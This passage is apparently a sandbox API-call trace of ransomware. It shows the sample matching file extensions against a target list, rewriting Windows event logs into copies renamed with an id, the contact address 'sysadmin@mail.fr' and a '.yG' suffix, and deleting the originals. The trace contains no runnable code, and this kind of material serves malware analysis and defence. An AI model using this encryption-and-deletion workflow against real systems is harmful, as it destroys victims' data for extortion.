	[0047.137] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".1cd") returned 4
	[0047.137] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".jpg") returned 4
	[0047.137] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".doc") returned 4
	[0047.137] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString=".docx") returned 5
	[0047.137] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0047.137] lstrlenW (lpString=".pdf") returned 4
	[0047.137] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString=".xls") returned 4
	[0047.137] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0047.137] lstrlenW (lpString=".xlsx") returned 5
	[0047.137] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0047.137] lstrlenW (lpString=".ppt") returned 4
	[0047.137] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".zip") returned 4
	[0047.137] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0047.137] lstrlenW (lpString=".rar") returned 4
	[0047.137] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString=".bz2") returned 4
	[0047.137] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0047.137] lstrlenW (lpString=".7z") returned 3
	[0047.137] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".dbf") returned 4
	[0047.138] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0047.138] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.138] lstrlenW (lpString=".1cd") returned 4
	[0047.138] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0047.138] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.138] lstrlenW (lpString=".jpg") returned 4
	[0047.138] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0047.138] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.138] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71
	[0047.138] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.162] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1052672) returned 1
	[0047.162] CloseHandle (hObject=0x2e4) returned 1
	[0047.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0047.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.163] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0047.163] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.163] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.163] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0047.166] GetLastError () returned 0x0
	[0047.166] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0048.118] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0048.132] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0048.360] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0048.369] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.369] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x162, lpOverlapped=0x0) returned 1
	[0048.369] SetEndOfFile (hFile=0x2f4) returned 1
	[0048.369] CloseHandle (hObject=0x2f4) returned 1
	[0048.395] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.395] SetEndOfFile (hFile=0x2fc) returned 1
	[0048.396] CloseHandle (hObject=0x2fc) returned 1
	[0048.396] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.396] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString=".doc") returned 4
	[0048.397] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".docx") returned 5
	[0048.397] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.397] lstrlenW (lpString=".pdf") returned 4
	[0048.397] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".xls") returned 4
	[0048.397] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".xlsx") returned 5
	[0048.397] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.397] lstrlenW (lpString=".ppt") returned 4
	[0048.397] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString=".zip") returned 4
	[0048.397] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".rar") returned 4
	[0048.397] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".bz2") returned 4
	[0048.397] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString=".7z") returned 3
	[0048.397] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString=".dbf") returned 4
	[0048.397] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString=".1cd") returned 4
	[0048.397] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.397] lstrlenW (lpString=".jpg") returned 4
	[0048.397] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString=".doc") returned 4
	[0048.398] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".docx") returned 5
	[0048.398] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.398] lstrlenW (lpString=".pdf") returned 4
	[0048.398] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".xls") returned 4
	[0048.398] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".xlsx") returned 5
	[0048.398] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.398] lstrlenW (lpString=".ppt") returned 4
	[0048.398] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString=".zip") returned 4
	[0048.398] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".rar") returned 4
	[0048.398] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".bz2") returned 4
	[0048.398] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString=".7z") returned 3
	[0048.398] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString=".dbf") returned 4
	[0048.398] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString=".1cd") returned 4
	[0048.398] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0048.398] lstrlenW (lpString=".jpg") returned 4
	[0048.398] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.399] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0048.399] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55
	[0048.399] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.721] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0048.721] CloseHandle (hObject=0x348) returned 1
	[0048.721] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0048.721] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.721] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.721] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.721] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.721] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0048.734] GetLastError () returned 0x0
	[0048.734] ReadFile (in: hFile=0x348, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0048.769] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0048.771] ReadFile (in: hFile=0x348, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.772] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x142, lpOverlapped=0x0) returned 1
	[0048.772] SetEndOfFile (hFile=0x2e4) returned 1
	[0048.772] CloseHandle (hObject=0x2e4) returned 1
	[0048.774] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.774] SetEndOfFile (hFile=0x348) returned 1
	[0048.775] CloseHandle (hObject=0x348) returned 1
	[0048.775] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.775] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1
	[0048.775] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.775] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.775] lstrlenW (lpString=".doc") returned 4
	[0048.775] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".docx") returned 5
	[0048.776] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.776] lstrlenW (lpString=".pdf") returned 4
	[0048.776] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".xls") returned 4
	[0048.776] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".xlsx") returned 5
	[0048.776] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.776] lstrlenW (lpString=".ppt") returned 4
	[0048.776] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString=".zip") returned 4
	[0048.776] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".rar") returned 4
	[0048.776] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".bz2") returned 4
	[0048.776] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".7z") returned 3
	[0048.776] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString=".dbf") returned 4
	[0048.776] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString=".1cd") returned 4
	[0048.776] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString=".jpg") returned 4
	[0048.776] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.776] lstrlenW (lpString=".doc") returned 4
	[0048.776] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.776] lstrlenW (lpString=".docx") returned 5
	[0048.777] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.777] lstrlenW (lpString=".pdf") returned 4
	[0048.777] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.777] lstrlenW (lpString=".xls") returned 4
	[0048.777] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString=".xlsx") returned 5
	[0048.778] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.778] lstrlenW (lpString=".ppt") returned 4
	[0048.778] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.778] lstrlenW (lpString=".zip") returned 4
	[0048.778] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString=".rar") returned 4
	[0048.778] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString=".bz2") returned 4
	[0048.778] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString=".7z") returned 3
	[0048.778] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.778] lstrlenW (lpString=".dbf") returned 4
	[0048.778] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.778] lstrlenW (lpString=".1cd") returned 4
	[0048.778] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0048.778] lstrlenW (lpString=".jpg") returned 4
	[0048.778] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.778] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0048.778] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64
	[0048.778] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0048.938] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0048.939] CloseHandle (hObject=0x2f4) returned 1
	[0048.939] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0048.939] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.939] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0048.939] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.939] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.939] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0048.940] GetLastError () returned 0x0
	[0048.940] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.028] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.030] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.030] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x154, lpOverlapped=0x0) returned 1
	[0049.030] SetEndOfFile (hFile=0x37c) returned 1
	[0049.030] CloseHandle (hObject=0x37c) returned 1
	[0049.031] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.032] SetEndOfFile (hFile=0x2f4) returned 1
	[0049.033] CloseHandle (hObject=0x2f4) returned 1
	[0049.033] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.033] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1
	[0049.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.033] lstrlenW (lpString=".doc") returned 4
	[0049.033] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.033] lstrlenW (lpString=".docx") returned 5
	[0049.033] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.033] lstrlenW (lpString=".pdf") returned 4
	[0049.033] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.033] lstrlenW (lpString=".xls") returned 4
	[0049.033] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.033] lstrlenW (lpString=".xlsx") returned 5
	[0049.034] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.034] lstrlenW (lpString=".ppt") returned 4
	[0049.034] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".zip") returned 4
	[0049.034] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".rar") returned 4
	[0049.034] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".bz2") returned 4
	[0049.034] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".7z") returned 3
	[0049.034] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".dbf") returned 4
	[0049.034] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
